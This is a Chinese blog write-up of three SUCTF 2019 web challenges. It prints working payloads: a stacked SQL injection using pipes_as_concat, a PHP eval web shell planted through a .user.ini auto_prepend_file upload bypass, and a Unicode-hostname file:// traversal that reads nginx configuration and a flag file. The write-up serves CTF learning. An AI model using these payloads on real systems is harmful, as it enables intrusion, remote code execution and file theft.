SUCTF2019部分Web writeup

原创

大千SS 于 2019-11-27 21:33:29 发布 694 收藏
分类专栏： 赛题复现

本文链接：https://blog.csdn.net/zz_Caleb/article/details/103283834

Easysql(堆叠注入)

2019强网杯有一道也是用的堆叠注入，这个也是，但是过滤的很严

1;show databases;
1;show tables;
这两个可以正常执行，拿到table名为Flag。

无论输入什么数字，最后返回的都是1，说明后台有所处理，输入0的话无返回结果。

from、or等都被过滤了

post方式传递，得到输入，然后执行语句，需要对后台sql语句进行猜解

从数字返回1来看可能是有一个逻辑运算||，set sql_mode=pipes_as_concat可以让系统把||识别为连接符，猜解是比较难的，我就只能看wp了。。。

正确猜解：
$sql = “select “.$post[‘query’].”||flag from Flag”;

解法一：
1;set sql_mode=pipes_as_concat;select 1
||成为连接符之后就是select 1||flag from Flag，就查询出flag了。

解法二：
大佬们blog上都说是非预期解
输入*,1
后面的数字是几都可以，拼接之后是select *,1||flag from Flag
这样也能拿到flag

CheckIn(ini文件上传漏洞)

上传绕过的题，ini的配置文件上传还是第一次见

1、普通木马尝试

拿普通的图片马进行上传了下，没有修改后缀，页面返回
<? in contents!
说明<?是不允许存在于文件中的，然后使用script进行绕过：

```
<script language='php'>@eval($_POST[shell]);</script>
```

2、后缀修改绕过

然后对后缀进行修改然后上传，页面返回
illegal suffix!

然后用burp的爆破对各种可绕过的后缀都进行尝试，所有的后缀都不行，后缀修改是绕不过了。

3、ini配置文件上传

从burp可以看到，网站服务器为并不是Apache，那么.hatcess后缀的文件解析漏洞也就不可用了。

这里用到的是ini配置文件的上传，ini配置文件是什么呢，知识点来了。

我们从php.ini说起：
php.ini是php默认的配置文件，其中包括了很多php的配置，这些配置中，又分为几种：PHP_INI_SYSTEM、PHP_INI_PERDIR、PHP_INI_ALL、PHP_INI_USER。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-r1MqyTUp-1574861105000)(en-resource://database/6222:1)]

从官方文档https://www.php.net/manual/zh/configuration.file.per-user.php可以看到：

> 自 PHP 5.3.0 起，PHP 支持基于每个目录的 .htaccess 风格的 INI 文件。此类文件仅被 CGI / FastCGI SAPI 处理。此功能使得 PECL 的 htscanner 扩展作废。如果使用 Apache，则用 .htaccess 文件有同样效果。

除了主 php.ini 之外，PHP 还会在每个目录下扫描 INI 文件，从被执行的 PHP 文件所在目录开始一直上升到 web 根目录（$_SERVER['DOCUMENT_ROOT'] 所指定的）。如果被执行的 PHP 文件在 web 根目录之外，则只扫描该目录。在 .user.ini 风格的 INI 文件中只有具有 PHP_INI_PERDIR 和 PHP_INI_USER 模式的 INI 设置可被识别。

也就是说，user.ini就是一种用户自定义型的php.ini

我们能够自定义的设置是模式为“PHP_INI_PERDIR 、 PHP_INI_USER”的设置。（上面表格中没有提到的PHP_INI_PERDIR也可以在.user.ini中设置）实际上，除了PHP_INI_SYSTEM以外的模式（包括PHP_INI_ALL）都是可以通过.user.ini来设置的。

而且，和php.ini不同的是，.user.ini是一个能被动态加载的ini文件。也就是说我修改了.user.ini后，不需要重启服务器中间件，只需要等待user_ini.cache_ttl所设置的时间（默认为300秒），即可被重新加载。

php.ini中的配置项，只要稍微敏感的配置项，都是PHP_INI_SYSTEM模式的（甚至是php.ini only的），包括disable_functions、extension_dir、enable_dl等.

如果是用user.ini，因为我们可以对其进行动态的修改，于是可以像上传.hatcess配置文件一样上传并利用图片文件构造一个后门。

下面是ini文件的几个配置项
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-y2nRNP9p-1574861105001)(en-resource://database/6224:1)]

auto_append_file、auto_prepend_file可以了解一下
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-xjQNpDzP-1574861105002)(en-resource://database/6226:1)]

指定一个文件，自动包含在要执行的文件前，类似于在文件前调用了require()函数。而auto_append_file类似，只是在文件后面包含。

这样我们创造这样的一个ini文件之后，就可以借助.user.ini轻松让所有php文件都“自动”包含某个文件，而这个文件可以是一个正常php文件，也可以是一个包含一句话的webshell。

对于这个题，上传的.user.ini文件的内容为：

```
#define width 20
#define height 10

auto_prepend_file=shell.jpg          //让php文件包含shell.jpg
```

然后把.user.ini文件进行上传，发现可以成功：
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-KMzoqMkC-1574861105003)(en-resource://database/6228:1)]

然后再上传shell.jpg:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-OAfrwyvR-1574861105004)(en-resource://database/6230:1)]

可以看到给出了文件上传的目录：
uploads/3f8c45add7e4722d7a34d2fea8c87504
然后这个文件夹下会有一个index.php文件，访问这个文件的时候shell.jpg也被包含进去了，所以蚁剑可以直接连index.php拿flag，或者可以上传一个命令执行的马去执行system(‘cat /flag’)也可拿到flag。

Pythonginx（文字字符替换英文字符绕过）

开局给源码：

```
@app.route('/getUrl', methods=['GET', 'POST'])
def getUrl():
    url = request.args.get("url")
    host = parse.urlparse(url).hostname
    if host == 'suctf.cc':
        return "我才 your problem? 111"
    parts = list(urlsplit(url))
    host = parts[1]
    if host == 'suctf.cc':
        return "我才 your problem? 222 " + host
    newhost = []
    for h in host.split('.'):
        newhost.append(h.encode('idna').decode('utf-8'))
    parts[1] = '.'.join(newhost)
    #去掉 url 中的空格
    finalUrl = urlunsplit(parts).split(' ')[0]
    host = parse.urlparse(finalUrl).hostname
    if host == 'suctf.cc':
        return urllib.request.urlopen(finalUrl).read()
    else:
        return "我才 your problem? 333"
    </code>    <!-- Dont worry about the suctf.cc. Go on! -->
    <!-- Do you know the nginx? -->
```

结尾给出的信息，url应该是suctf.cc，还有就是和Nginx有关。

代码的意思是如果url经过判断，前两次的host不是suctf.cc，最后一次的host是suctf.cc的话，就会访问url并显示结果。。。

这个是字符的问题，解决方法是使用文字符号 代替c，Unicode中的文字符号：https://en.wiktionary.org/wiki/Appendix:Unicode/Letterlike_Symbols，可与使用代码测试一下，文字符号 经过两次的if判断和其中的函数处理之后就变成了c。
这样的话使用file://就可以进行文件读取了，上面还说到和Nginx有关，可以读取Nginx的配置文件试试看

payload：/getUrl?url=file://suctf.c /…/…/…/…/etc/nginx/conf.d/nginx.conf

```
server {
    listen 80;
    location / {
        try_files $uri @app;
    }
    location @app {
        include uwsgi_params;
        uwsgi_pass unix:///tmp/uwsgi.sock;
    }
    location /static {
        alias /app/static;
    }
}
```

是uwsgi服务器实现的，但是好像也没有什么有用的信息，对于用户安装的程序来说，在/usr/local用户目录下会有程序的信息，/usr/local/nginx/conf/nginx.conf也是Nginx的配置文件，文件读取得到：

```
server {
    listen 80;
    location / {
        try_files $uri @app;
    }
    location @app {
        include uwsgi_params;
        uwsgi_pass unix:///tmp/uwsgi.sock;
    }
    location /static {
        alias /app/static;
    }
    # location /flag {
    #     alias /usr/ffffffflag;
    # }
```

得到flag地址：/usr/ffffffflag
接着读取就拿到flag了。